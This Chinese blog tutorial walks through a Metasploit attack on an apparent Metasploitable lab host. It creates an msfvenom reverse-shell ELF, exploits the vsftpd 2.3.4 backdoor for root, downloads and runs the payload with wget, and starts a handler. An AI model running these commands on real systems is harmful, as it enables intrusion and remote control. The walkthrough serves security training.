使用metasploit对linux系统进行渗透测试提权

我重来不说话

2543人浏览 · 2021-05-13 12:55:21

我重来不说话 · 2021-05-13 12:55:21 发布

文章目录

前言
一、生成攻击载荷
二、获取目标主机物理访问权限
三、加载主控端handler
总结

前言

使用metasploit对linux系统进行渗透测试

一、生成攻击载荷

使用msfvenom命令创建一个elf文件

┌──(root💀kali)-[~]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.113 lport=5555 -f elf>pay.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

将攻击载荷移动到www文件夹下（记得开启apache2服务）

┌──(root💀kali)-[~]
└─# mv pay.elf /var/www/html

二、获取目标主机物理访问权限

1.使用社会工程学获取
2.查看目标主机存在的漏洞进行渗透

这里介绍第二种
①开启postgresql服务，加载msf数据库
②使用nmap扫描目标主机，发现可攻击漏洞
③使用相关模块渗透，获取权限

┌──(root💀kali)-[~]
└─# service postgresql start
                                                                                                                                                       
┌──(root💀kali)-[~]
└─# service apache2 start

msf6 > db_nmap -sV -u 192.168.1.103
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-13 12:30 CST
[*] Nmap: Nmap scan report for 192.168.1.103
[*] Nmap: Host is up (0.0027s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
......
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.28 seconds
msf6 > services
Services
========

host           port  proto  name          state     info
----           ----  -----  ----          -----     ----
192.168.1.1    80    tcp    http          open
192.168.1.1    1900  tcp    upnp          open
192.168.1.101  548   tcp    afp           filtered
192.168.1.102  8080  tcp    tcpwrapped    open
192.168.1.103  21    tcp    ftp           open      vsftpd 2.3.4
192.168.1.103  22    tcp    ssh           open      OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.1.103  23    tcp    telnet        open      Linux telnetd
192.168.1.103  25    tcp    smtp          open      Postfix smtpd
192.168.1.103  53    tcp    domain        open      ISC BIND 9.4.2
192.168.1.103  80    tcp    http          open      Apache httpd 2.2.8 (Ubuntu) DAV/2
....
msf6 >

发现vsftpd2.3.4，这个服务存在漏洞，可以进行渗透（之前的文章详细讲过如何渗透vsftpd2.3.4）
点击查看vsftp2.3.4渗透测试提权小白教程

[*] 192.168.1.103:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.103:21 - USER: 331 Please specify the password.
[+] 192.168.1.103:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.103:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.103:6200) at 2021-05-13 12:37:16 +0800
wget http://192.168.1.113/pay.elf
--06:57:46--  http://192.168.1.113/pay.elf
           => `pay.elf'
Connecting to 192.168.1.113:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207

    0K                                                       100%   37.10 MB/s

06:57:46 (37.10 MB/s) - `pay.elf' saved [207/207]

chmod 777 pay.elf
./pay.elf

使用wget命令下载文件，修改权限并运行

三、加载主控端handler

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.113    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.113:5555 
[*] Sending stage (3012548 bytes) to 192.168.1.103